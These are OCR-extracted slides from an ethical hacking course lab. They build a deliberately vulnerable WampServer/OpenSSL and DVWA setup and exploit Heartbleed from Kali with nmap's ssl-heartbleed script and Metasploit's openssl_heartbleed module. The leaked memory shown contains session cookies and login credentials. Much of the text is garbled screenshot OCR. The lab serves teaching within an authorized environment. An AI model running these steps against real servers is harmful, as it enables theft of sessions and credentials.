X509v3 Basic Constraints:
CA: TRUE
Signature Algorithm: shalWithRSAEncryption

2b:1d:1c:61:9d:35:¢c4:8¢c:06:05:7c:£3:31:
47:pd:65:6a:¢5:54:12:13:03:c6:e3:ea:d6:
d7:a20:8f:c2:42:e5:54:68:53:ae:ac:5b:82:
£0:2b:d5:78:5e:07:£8:8a:68:a6:07:8b:31:
S5c:ee:6f:81l:ed:de:el:£3:24:d8:b8:cl:a4:
bl:73:a2:a3:78:5e:81:£9:bf:22:de:3d:ce:
4:91:22:36:70:13:22:07:0e:5c:d0:a5:34:
f9:ac

C:\wamp\bin\apache\Apache2.2.21\bin>

= 1

Examining the
certificate which
has the private key
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AEE|

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files
VIGo

o Address | I25) C:\Documents and Settingsicis76 studentiDesktopi\Heartbleed\Config_files
~ : config.inc.php

- (BT ]
— |=l httpd-ssl.conf

=) phpmyadmin. conf 1) COpy this file

File and Folder Tasks &/

@ Rename this file
Q Move this File
) Copy this file

~3

= conf

File Edit View Favorites Tools Help

C:\wamp\bin\apache\Apache2.2.21\conf

EWampServer

Heartbleed @ Rename this file
[y Move this file

Addresq|[7) C:iwamplbintapache\apachez.2.21\conf Vl Go
A Diextra

@ onglnal

File and Folder Tasks A

httpdconf build 2) Paste (and overwrite)

D Copy this file ) magic th e f/ / e h ere
&) Publish this file to the mime.types
Web =B openssl
() E-mail this file
e v

‘s Start & Config_files & conf e (CHWINDOWS syste. .., &) 3:48PM

134
Update the httpd.conf file with the updated one in the Heartbleed folder



<snipped>

ServerRoot "c:/wamp/bin/apache/apache2.2.21"
<snipped>

Listen *:80

<snipped>

LoadModule ssl module modules/mod ssl.so
<snipped>

ServerName localhost:80

<snipped>

DocumentRoot "c:/wamp/www/"

<snipped>

<IfModule ssl module>
SSLRandomSeed startup builtin
#Include C:/wamp/bin/apache/Apache2.2.21/conf/extra/httpd-ssl.conf
Include conf/extra/httpd-ssl.conf
SSLRandomSeed connect builtin
</IfModule>

Excerpts from the updated httpd.conf file
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File  Edit Jieww  Favorites  Tools  Help

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files

Ini Address li'fj C:\Documents and Settingscis76 student\DesktopiHeartbleed\Config_files v I Go
EX A =] config.inc.php
File and Folder Tasks = httod.con

@i} Rename this file
[ Move this file
) Copy this file

1) Copy this file

2] & extra

WWindawEiedias

File Edit WYiew Favorites Tools Help

C:\wamp\bin\apache\Apache2.2.21\conf\extra

Cae
WampServer.

’ @]} Rename this file
Hearthleet iy Move this file
) Copy this file

&) Publish this file to the
Web

j E-mail this file

Address §7) C:iwamplbiniapache\apache2.2.21\confiextra ] VI Go

# =] httpd-autoindex. conf || httpd-ssl.conf |

httpd-dav.conf =) httpd-userdir.conf

- httpd-default.conf httpd-vhosts.conf
httpd-info.conf

|| httpd-languages.conf

httpd-manual.conf 2 ) P as te ( and

(5] hetpd-mem. conf overwrite) the file
httpd-multilang-errordoc. conf h ere

File and Folder Tasks A

‘4 Start & Config_files e CAWINDOWS\syste. ., R, 9:52PM

136
Update the httpd-ssl.conf config file with the one in the Heartbleed folder
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<snipped>
Listen 10.76.5.201:443
<snipped>

DocumentRoot "c:/wamp/www"
ServerName localhost:443

<snipped>
SSLCertificateFile "C:/wamp/bin/apache/Apache2.2.21/ssl/server.crt"
<snipped>

SSLCertificateKeyFile "C:/wamp/bin/apache/Apache?2.2.21/ssl/server.key"

<snipped>

Excerpts from the updated httpd-ssl.conffile for Pod 5




AES)

File Edit Format Wew Help

|
& £
# when we also provide 5L we have to 1listen to the

# standard HTTP port (see above) and to the HTTPS port
# —_—
# Mote: Configurations that use IPwE but not IPwd-mapped addresses need

# Listen directives: "Listen [::]:443" and "Listen 0.0.0,0:443"

#

#Listen 443

d Listen 10.?6. 201:443 2) Change to your pod number

S5L Global Context

A11 ssL configuration_in this context applies both to
the main server and all ssL-enabled wirtual hosts.

File Edit VYiew Favorites Tools Help

eBack - |\\;) l@ pSearch [E‘-‘ Folders *

Address |ﬁ CihwamphbinapachelApachez 2. 21\conflextra
Folders X E httpd-autoinde: |i\] httpd-languages [Ehttpd-ss|
2 caibin A m htkpd-davy |ﬂ httpd-manual ﬁ httpd-userdir
2 ) conf :: E httpd-defaulk m httpd-mprm m htkpd-vhosts
o E httpd-info |"i] htkpd-rultilang-errordoc
1111 | > ;_

.4 start [ o CAWINDOWS'sys [* httpd-ssl - Notepad ® ) 10:22 PM

138
Update IP address in the httpd-ssl.conf config file for your pod number
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Address §0) C:\Documents and Settingsicis76 studenttDeskkop\HeartbleeEJ
| 2) Commands =| README
File and Folder Tasks A/ — | ) Config_files ) wampserver2.2d-x32
e Sl [ = 1) Copy th
ename Lthis rolaer O,Dy t iS

i@y Mave this folder (C)openssl-1.0.1-i386-win32 f
Hj Copy this folder dl I eCtor y

File Edit View Favorites Tools Help

C: \Wamp\www P’ /'D Search [Lj— Folders v

Address 15) Ciwampiwww

~ ‘ index.php
File and Folder Tasks & (=) testmysql.php
®ij Rename this folder
Heartbleed iy Move this folder
() Copy this folder

&) Publish this folder to 2 ) Paste the

the Web H
&4 Share this folder dl I eCtor y h ere

=

/,’ start @ Heartbleed o CAWINDOWS syste... ®) 9:57 PM

139
Copy the DVWA files to the DocumentRoot folder



Recycle Bin

o
v

Internet
Explorer,

WampServer

Heartbleed

Start All Services

Stop All Services

Restart All Services

Put Online

& Heartbleed e CAWINDOWSsyste... ®)

Restart services so SSL changes take effect

10:25 PM
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Recycle Bin

o~
v

Internet
Explorer

WampSér}.’er

Heartbleed

/,’ start & Heartbleed cn CHWINDOWS\syste... ®) 10:27PM

If your changes were correct the status icon should turn green after a few seconds
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Change MySq|
password

(EH-WinXP-xx)
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Recycle Bin

o
v

Internet
Explorer

\.-'-.l’ampSér\.’er

- Version W MysQL
Heartbleed coriica Debug
[ my.ini
] MysaL log

Start All Services
Stop All Services
Restart All Services

- r Put Online
iy Start @ Heartbleed — 10:28 PM

Bring up the MySql command line console




set password for 'root'@'localhost' = password('Cabrillo');

c:wampibinimysql\mysql5. 5. 20\bin\mysql.exe

Enter password:

e lcome to the MySQL monitor. Commands end with ; or “g.
Your MySQL connection id di=s 1

Server version: 5.5.20-1log MySQL Community Server CGPL>

Copuright <c) 20008, 2011, Oracle andsor its affiliates. All rights reserved.
Oracle iz a registered trademark of Oracle Corporation and-sor its
affiliates. Other names may he trademarks of their respective

ounNers .

Type *help:* or *“~h' for help. Type *~c’ to clear the current input statement.

myzgl> szet password for 'root’'@'localhost’ = password{’Cabrilio’l;
Query OK, @ rows affected <B.B2 sec)

mysql>

Change the MySql password which is also used by MyPhpAdmin 144
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" & Config_files (- [O|[%]

File  Edit  Wiew Fawvorites Tools  Help a"

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files

Address | ) Ci\Documents and Settingsicis?6 studentiDeskkopiHeartbleed\Config_files w ‘ Go

Il
% im config.in:

File and Folder Tasks & = m httpd
Iﬂ Rename this File E;tht;nt:;min 1) CO,Dy thIS f/le

@ Mo this File
Copy this File

(HRCOHSNCES @ phpmyadmin3.4.10.1
HEREl
File

Edit Miew Favorites Tools  Help

C:\wamp\apps\phpmyadmin3.4.10.1
bl Address 'E C:wamplappstphpryadming 4, 10,1 I V| =Y G

Folders * [E-,']cu:untril:u E]I:uru:uwse_ﬁ:ureigners =l CREDITS @dh_s
' = 53 apps = s -i]bs_disp_as_mime_t‘;-’pe ﬂdb_create 5] db_sqg
£ phervadninaado  @braries ] bs_play_media #]db_datadict #]db_st
Heartbleed 3 sqlbuddyl.3.3 [Chlocale 3changelng ﬂdb_expnrt Edh_tr
) T [Chpmd i) Changelog
webagrindl,0 [
i Edscrits Sakra | 2) Paste (and overwrite)
= 5 apache Dysetup ':':'r'F';"ir": the file here
= [3) spachez 2,21 v.[ﬁthemes ﬂcunflg.samp! e ———
£ S | ¥ @ i | 3

. :'r.: start & Config_files B phpryadming.4.10,1 oo Cwampibinimysglim. .. '{____- 10:45 PM

14
Update the config.inc.php file with the one in the Heartbleed folder >
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<snipped>

$ DVWA[ 'db server' ] '127.0.0.1";

$ DVWA
$ DVWA

'db user' ] = 'root';
'"db password' ] = 'Cabrillo';

[ =

$ DVWA[ 'db database' ] = 'dvwa';
[ ]
[

<snipped>

DVWA['default security level'] = "low";

<snipped>

Excerpts from the updated httpd-ssl.conf file

146
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J |
al

' @ Config_files
REC mum

File Edit VYiew Favorites Tools. Help L)

C:\Documents and Settings\cis76 student\Desktop\Heartbleed\Config files

I Address i) C:\Documents and Settingsicis76 student\DesktopiHeartbleediConfig_files | V\ Go
EX : ~ Iﬂ config.inc
File and Folder Tasks A — |#])httpd
3 Iﬂ httpd-ssl

o il Feemyadnn | 1) Copy this file

[y Move this file
D Copy this file

File Edit View Favorites Tools Help .:?,.

W C: \Warnp\alias p Search &‘2 Folders '
WampServer, -
Lot Address ID C:\wamphalias | v] Go

Folders X
- B £ wamp 2| [E]sqlbuddy
@ £ alis — []webgrind 2) Paste (and overwrite)

= apps B the file here

# I3 phpmyadmin3.4.10.1

) sqlbuddy1.3.3

[ webgrind1.0
= () bin

Heartbleed

. s Start & Config_files e ci\wamplbinimysalim. .. ®) 10:49 PM

147

Update the phpmyadmin.conf file with the one in the Heartbleed folder



O LB R R

<snipped>

<Directory "c:/wamp/apps/phpmyadmin3.4.10.1/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all

Order Deny,Allow
Allow from all
</Directory>

Excerpts from the updated phpmyadmin.conf file

148



Recycle Bin

-
v

Internet
Explorer

B Localhost

e i @ phpMyAdmin
\WampServer B wiww directory

Heartbleed

Start All Services
Stop All Services

Restart All Services

- ] - . Put Online
‘g Start & Config_files B alias F:\ criwamplbintrmysdm y 10:53 PM

Restart services so all changes take effect
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Test
Setup

150
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Hea rtbleed
Exploit

phpmyadmin login
session
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gst. 18959 ™

EH-WinXP-xx
File Edit Vi

(with WampServer and vulnerable SSL installed)

ﬁ phipfyAdrmin A Untrusted Connection

(--b/ | hktps: 10, 76.5.201 phpry admin . c |q Search : ﬂ' E U ‘ -‘ﬁ* B

This Connection is Untrusted

‘fou have asked Firefox bo connect securely ko 100F6.5.201, but we can't confirm that waur
conneckion is secure,

Marmally, when waou kry bo connect securely, sites will present trusted identification to prove that wou
are going to the right place. However, this site's identity can't be verified.

What Should I Do?

If waou usoally connect ko this sike without problems, this error could mean that someone is krving to
impersonate the site, and ywou shouldn't continue.

Get me out of here!

Technical Details

I Understand the Risks

F -
1y Start [ 2 ‘Windows Explarer e Ciwamptbintmysglim... } Untrusted Connectio. .. "{I!’I 11:31 PM

Run FireFox and browse to https://10.76.5.201/phpmyadmin/

153
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Add Security Exception

You are about to override how FireFox identifies this site.

Legitimate banks, stores, and other public sites will not ask you to do this. —_—
&l - s ; v I A ® =
Server e
Location: | itkps: 110, 76,5, 201 iphpmy admin | Get Certificate | F|
Certificate Stakus
This site attermpts to identify itself with invalid information,
Wrong 5ite
our
The certificate belongs ko a different site, which could mean that someone is krving to
impersonate this site.
Unknown Identity ve that you
The certificate is nok trusted because it hasn't been verified as issued by a trusted authority
using a secure signature.
= brying ko
Permanently store this exception Cation. Even
our
[Q:unﬁrm Security Exception ] [ Cancel ==
brusted
LS Lo I L8 | L e L L) Y
IL Add Exception...
L

:‘I" start M 2 ‘Windows Explorer o wampibinimysglm, .. } Untrusted Connectio. . "(I 11:32 PM

154
Add the exception to use our self-signed "unknown" certificate
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File Edit Wiew ory Bookmarks  Tools  Help
m phptyadmin aasn phpMyAdmin
(&) @ | httpsi/110.76.5.201 fphpmyadmin/ a ||C'..5earch | W B 3 i 80 =

phpMuyAdmin
Welcome to phpMyAdmin

_' Languaqge l .
1 Le guage |

English e

—%Login“ !

Username: [
| root |

Passworid: 1
| [ 11112 1]l) |

:I..F start M 2 'Wwindows Explorer | oo cHiwamplbinimesgliom, .. } phpMy&drnin - Mozilla, ..

155
Login as root with password = Cabrillo
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Fil=  Edit  Miew  History natks  Tools  Help

im phipfyAdrmin

phpMuyAdmin
A5 Structure L[ sOL 4, Search i Cue [& Expont = + More
y I
8z e0 ¢ Table . Action
i rmysg| V‘ [ columns_priv = Browse 34 Structure [ Search ¥ Insert [ff Empty @
1 columns_priv ] db |=] Browse 4 Structure % Search 3¢ Insert [ Empty @
=] db ] event = Browse 34 Structure [ Search ¥ Insert [ffl Empty @
/=] event [] func =l Browse 2% Structure (2| Search 3¢ Insert [T Empty @
- i mi -
j Hne . 1 general_log |=| Browse 4 Structure % Search #c Insent [ Empty @
general_log =¥ _
= Tl e | [ help_category |=] Browse J# Structure % Search ¥c Insert (3 Empty @
[El el ke e [] help_keywaord [=] Browse 24 Structure % Search ¥c Inzet [E Empty @
|=] help_relation
| help_topic ] help_relation |=] Browse W Structure % Search ¥c Insert [G Empty @
8 host T— [ Browse 3 Structure @ Search ¥ nsert [ Empty ©
L C
= ik bt hdax [] help_topic rowse b Structure parch ¥ Inse mpty
/| plugin [] host = Browse 4 Structure (2 Search 3¢ Insert [[ Empty @
'j proc [] ndb_binlog_index = Browse 24 Structure (2] Search 3¢ Insert [[ Empty @
[ =] procs_priv e = _ = e o _—
& | £ | 3

f®n 2 \Windows Explorer e O wamplbinimysglim. .. ¥} 10.76.5.201 | localho..

156
Navigate to the mysql database, structure tab
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gst. 18959 ™

EH-Kali-xx VM

Applications » Places » Sun 22:54

Login to your EH-Kali-xx VM



N

nmap -p 443 --script ssl-heartbleed 10.76.xx.201

root@eh-kali-05:~# nmap -p 443 --script ssl-heartbleed 10.76.5.201

Starting Nmap 7.25BETAl ( https://nmap.org ) at 2016-11-28 00:01 PST
Nmap scan report for 10.76.5.201
Host is up (0.00032s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.

State: VULNERABLE

Risk factor: High

OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-

betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the
encryption keys themselves.

|
| References:

| http://cvedetails.com/cve/2014-0160/

| http://www.openssl.org/news/secadv 20140407 .txt

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
MAC Address: 00:50:56:AF:16:3A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
root@eh-kali-05:~#

Check if EH-WinXP-xx is vulnerable to Heartbleed
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Applications ~ Places v Sun 22:54

Favorites armitage

01 - Information Gathering

beef xss fr...
02 - Vulnerability Analysis

03 - Web Application Analysis metasploit ...

04 - Database Assessment
msf payloa...
05 - Password Attacks

06 - Wireless Attacks SESEHERE

07 - Reverse Engineering ET' social engi...

08 - Exploitation Tools
sqlmap
09 - Sniffing & Spoofing
10 - Post Exploitation termineter
11 - Forensics
12 - Reporting Tools
13 - Social Engineering Tools

14 - System Services

Usual applications

Run Metasploit




CIS 76 - Lesson 14'1: m I:z. l ' |W
search heartbleed

use auxiliary/scanner/ssl/openssl heartbleed
set RHOSTS 10.76.xx.201
set VERBOSE true

Terminal

File Edit View Search Terminal Help

+ -- --=[ 455 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msT = search heartbleed

Matching Modules

Disclosure Date Rank De

scription

auxiliary/scanner/ssl/openssl heartbleed 2014-04-07 normal Op
enSSL Hearthbeat (Heartbleed) Information Leak

auxiliary/server/openssl heartbeat client memory 2014-04-07 normal Op
en5S5L Heartbeat (Heartbleed) Client Memory Exposure

msf > use auxiliary/scanner/ssl/openssl heartbleed

msT auxiliary( ) = set RHOSTS 10.76.5.201
RHOSTS => 10.76.5.201

msT auxiliary( )} = set VERBOSE true
VERBOSE => true

msf auxiliary( ) > runf]

Select the Heartbleed exploit, set the options (RHOSTS and VERBOSE), and run
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File Edit View

.3
.5
.3
.3
.5
.3
.5
.5
i
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Search  Terminal

.201:
.201:
.201:
.201:
.201:
.201:
.201:
.201:

Terminal « Sun 23:29

Terminal

Help
Length: 4
Handshake #1:
Length: @
Type: Server Hello Done (14)

- Sending Heartbeat...

- Heartbeat response, 65535 bytes
- Heartbeat response with leak

- Printable info leaked:

Firefox/43.0. Acﬂept 1mage!png image/*;qg=0.8,*/*;q=0.5. .Accept-Language: en-US,
en;q=0.5. .Accept-Encoding: gzip, deflate..Referer: https://10.76.5.201/phpmyadmi
n/phpmyadmin.css.php?server=1&token=2edcfbabaal’/fc025eech330c73c399d&js frame=ri
ght&nocache=5619835082. .Cookie: phpMyAdmin=v9hu702emhs3klbjBugl8ll5mch@jabd; pma
_lang=en; pma collation connection=utf8 general ci; pma mcrypt iv=HU2aRAWcrEw%3D
; Ipmalser-1= BWABGSHQEUO%SD pmaPass-1=Yhsci6507Xs%3D.).Connection: keep-alive....

4pY4sb/cbbudby™ “Z.AL)S. Y. ML@P

Scroll through the output and look for cookies used by the current
MyPhpAdmin login session on EH-WinXP-xx
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im phipkyadmin g 10.7 0 » # Options

[ (- | ) Firefox | about:preferences#privacy e | | Q, search

Cookies

Search:

The fallowing cockies are stored on your computer:

Site - Cookie Mame
{n.76.5.201 pma_lang
: 10,76.5.201 prna_collation_connection
(765201 prma_mervpt_iv
L 110.76.5.201 phphtydmin
prmallser-1

{_i10.76.5.201 priaPass-1

Mame: pmallser-1

Content: SWaB03n96u0 %30

Host: 10.76.5.201

Eemove Selected Rermove All

7 s Start 2 'Win wplorer e ciywampibintmysalin... } Options - Mozila Fire

162
Pancakes > Options > Privacy > remove individual cookies
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Fil=  Edit  Yiew istory  Bookmarks  Tools  Help
;m phpMyAdrin b 4 m 10.76.5.201 | localhost | s, 3 # Options

'(- "'{JFireFox about:preferences#privacy c HO\ Search | ﬂ’ E ¥+ #H 9 =

Cookies

Search:

The fallowing cookies are stored on your computer:

Site - Cookie Narme

{0,76.5.201 pma_lang
{10.76.5.201 prna_collation_connection
[ i10.76.5.201 prna_mcrypt_iv
{0.78.5.201 phphtyadmin
{0,76.5.201 prallser-1

10,76.5,201 priaPass-1

Mame: pmaPass-1

Content: Yhsci6SO7Es %30

Host: 10.76.53.201

Remove Selected Remove All

-4 s Start w2 W 18 o Ciwamplbintmysglim.. . ¥ Options - Mozilla Firefox

163
Pancakes > Options > Privacy > remove individual cookies
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0100101
Firefox/43.0. Accept 1mage/png,1mage/‘,q 0.8,*%/*;q=0.5..Accept-Language: en-US,
en;q=0.5..Accept-Encoding: gzip, deflate..Referer: https://10.76.5.201/phpmyadmi
n/phpmyadmin.css.php?server=1&token=2edcfbabaa87fc025eech330¢c73¢399d&js frame=ri
ght&nocache=5619835082. .Cookie: phpMyAdmin=v9hu702emhs3klbj8uql8115mch0jabd; pma
lang=en; pma collation connection=utf8 general ci; pma mcrypt iv=HU2aRAWcrEws3D
; pmaUser-1=8WABO3n96uQ%3D; pmaPass-1=Yhsci6S07Xs%3D .Connection: keep-alive...
4b943b/cobdoo” "Z.A.)S..Y.M.@P

EH-WinXP-xx VM

10.76.5.201
{110.76.5.201 pmaPass-1

EH-WinXP-xx VM

Name: pmaUser-1 10.76.5.201 pmaPass-1

Content: 8WABO3n96uQ%3D

Name: pmaPass-1
Host: 10.76.5.201

Content: Yhsci6SO7Xs%3D

Host: 10.76.5.201

The hacker on EH-Kali is able to see the cookies used by the MyPhpMyadmin

login session! 164
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est. 1959 %

Heartbleed
Exploit

DVWA login session
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egst. 1659 N

EH-WinXP-xx VM

File Edit “iew History Bookmarks  Tools  Help

;H phptyAdrmin b 4 M phptyAdmin https:ff10.76.5, .1 /dvwa/login.php 2

- a https:fi10,76.5,.201 idvwa)login.php c ||Q\Search | ﬁ E ‘ ‘ﬁ* 9

D—"'." 'n?‘."_;" .:. \

Tnakble to connect to the datsbhase.
mysgl _error ()

C].in:o setup the database.

—

;J start 0 2 'Windows Explorer | o cilwampibintesgim, .. ¥ Mozilla Firefox " ) 11:41 PM

166
Run FireFox and browse to https://10.76.5.201/dvwa/
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File Edit “iew History Bookmarks Tools Help

M phpMyAdmin x| 5 phpMyAdmin

€ | @ | https:/10.76.5.201/dwwa/sstup. php | Q, search ﬂ’ E 2 4 # B =

Home | Database setup -

Instructions | Click on the Create / Reset Database' button below to create or reset your database. If ye
| sure you have the correct user credentials in fconfigfconfig. inc. php

If the database already exists, it will be cleared and the data will be reset.

Brute Force

Command Execution Backend Database: MySQOL

CSRF
Insecure CAPTCHA

Create / Reset Database

SOL Injection

SOL Injection {Blind)
Upload

XS5 reflected

WEC ctarnd

File Inclusion |
|

& 2 Windaows Explarer Fon c:hwampibinimysglim. .. 2 Damn Yulnerable We. .., 11:42 PM

167
Create the DVWA database
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Edit  Wiew  Hi E arks  Tools  Help

H phpfyAdrmin ® | H phpMyAdrnin » m Darnn Yulmerable Web app (D... *

€ | B | https://10.76.5.201 /dwwa)setup.php | 5 Q, Search ﬁ’ E 2 4 & B =

(Fome ) | Database setup

Instructions | Click on the ‘Create / Reset Database' button below to create or reset your databaze. If ye
| | sure you have the correct user credentials in foconfigfconfig.inc. php

If the database already exists, it will be cleared and the data will be reset.

Brute Force

RS R Backend Database: MySOL

CSRF
Insecure CAPTCHA

[ Create / Reset Database

SOL Injection

SOL Injection (Blind)
Upload

XSS reflected

YOO ctnendd

Database has been created.

‘users' table was created.

Data inserted into ‘users' table.

|
|
|
|
File Inclusion |
|
|
I
I

72 start

[ o 2 Windows Explarer Fon c:ywampibinimwsglim, .. 11:43 PM

£ Damn Yulnerable We. .. L3 )

168

Success, click Home link to login
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Ele Edit Wew History Bookmarks Tools  Help
m phpMyAdmin M phpMyadmin Damn Yulnerable Web App (DYWWA ... X

( (- | @ | https:)f10,76.5.201 fdvwa/login. php c ||O\ Search | ﬁ E 4+ & 9

>

DVWA )

Username

adrmin

Passworil

r'r.'-' start M 2 windows Explorer = | o ciymamplbinimysglim, .. ¥ Damn Yulnerable We. .. f(. 11:44 FM

169
Login as admin with password = password
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gst. 18959 ™

EH-Kali-xx VM

Applications » Places » Sun 22:54

Login to your EH-Kali-xx VM



N

nmap -p 443 --script ssl-heartbleed 10.76.xx.201

root@eh-kali-05:~# nmap -p 443 --script ssl-heartbleed 10.76.5.201

Starting Nmap 7.25BETAl ( https://nmap.org ) at 2016-11-28 00:01 PST
Nmap scan report for 10.76.5.201
Host is up (0.00032s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.

State: VULNERABLE

Risk factor: High

OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-

betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the
encryption keys themselves.

|
| References:

| http://cvedetails.com/cve/2014-0160/

| http://www.openssl.org/news/secadv 20140407 .txt

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
MAC Address: 00:50:56:AF:16:3A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
root@eh-kali-05:~#

Check if EH-WinXP-xx is vulnerable to Heartbleed
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Favorites armitage

01 - Information Gathering

beef xss fr...
02 - Vulnerability Analysis

03 - Web Application Analysis metasploit ...

04 - Database Assessment
msf payloa...
05 - Password Attacks

06 - Wireless Attacks SESEHERE

07 - Reverse Engineering ET' social engi...

08 - Exploitation Tools
sqlmap
09 - Sniffing & Spoofing
10 - Post Exploitation termineter
11 - Forensics
12 - Reporting Tools
13 - Social Engineering Tools

14 - System Services

Usual applications

Run Metasploit
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search heartbleed

use auxiliary/scanner/ssl/openssl heartbleed
set RHOSTS 10.76.xx.201
set VERBOSE true

Terminal

File Edit View Search Terminal Help

+ -- --=[ 455 payloads - 39 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msT = search heartbleed

Matching Modules

Disclosure Date Rank De

scription

auxiliary/scanner/ssl/openssl heartbleed 2014-04-07 normal Op
enSSL Hearthbeat (Heartbleed) Information Leak

auxiliary/server/openssl heartbeat client memory 2014-04-07 normal Op
en5S5L Heartbeat (Heartbleed) Client Memory Exposure

msf > use auxiliary/scanner/ssl/openssl heartbleed

msT auxiliary( ) = set RHOSTS 10.76.5.201
RHOSTS => 10.76.5.201

msT auxiliary( )} = set VERBOSE true
VERBOSE => true

msf auxiliary( ) > runf]

Select the Heartbleed exploit, set the options (RHOSTS and VERBOSE), and run
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Terminal e @ @1

File Edit View Search Terminal Help
Length: 4
Handshake #1:
Length: @
Type: Server Hello Done (14)
- Sending Heartbeat...
- Heartbeat response, 65535 bytes
- Heartbeat response with leak
- Printable info leaked:

text/htm

1, dppllcdtlﬂﬁthtml+xml dpp11Cat10n;xml q=0.9,*/%;0=0.8. .Accept-Language: en-US,
en;q=0. 5 .Accept-Encoding: gzip, deflate..Referer: https //10.76.5.201/dvwa/logi
' : security=Llow; PHPSESSID adsloh363srrgijOceop8gmqgb. .Connection: K

eep-aliue B0!.t.bLF. -urlencoded. Ecntent Length: 44.
Jusername= ddmlﬁwpdSSWOTd pqsswcrdeogln Login&...)...
: keep-allve....... LAY 25 VML S,

The hacker on EH-Kali-xx gets the login credentials! 174
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Final Project

Final Project

You will create an educational step-by-step lab for VLab that demonstrates a complete hacking
attack scenario. You may exploit one or more vulnerabilities using Metasploit, a bot, custom
code, social engineering and/or other hacking tools. You will document the preventative
measures an organization could take to prevent your attack and help one or more classmates
test their project.

Warning and Permission

Unauthorized hacking can result in
prison terms, large fines, lawsuits and
being dropped from this coursel

For this project, you have authorization to hack any of the VMs in your VLab pod. Contact the
instructor if you need additional VMs.

Steps
1. Research and identify one or more interesting vulnerabilities and related exploits.
2. Using VLAB, create a secure test bed, identifying attacker and victim systems, to run the
labin.
. Develop step-by-step instructions on how to set up the test bed.
. Develop step-by-step instructions on how to carry out the attack.
. Develop a list of preventative measures the victim could block future attacks.
. Have another student test your lab and verify the results can be duplicated.
. Do a presentation and demo to the class.

NoOWwsEWw

Due in two weeks

176


https://simms-teach.com/docs/cis76/cis76final-project.pdf
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Next Class

Assignment: Check the Calendar Page on the web site to
see what is due next week.

Quiz questions for next class:

« No more quizzes!

178
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Backup

179



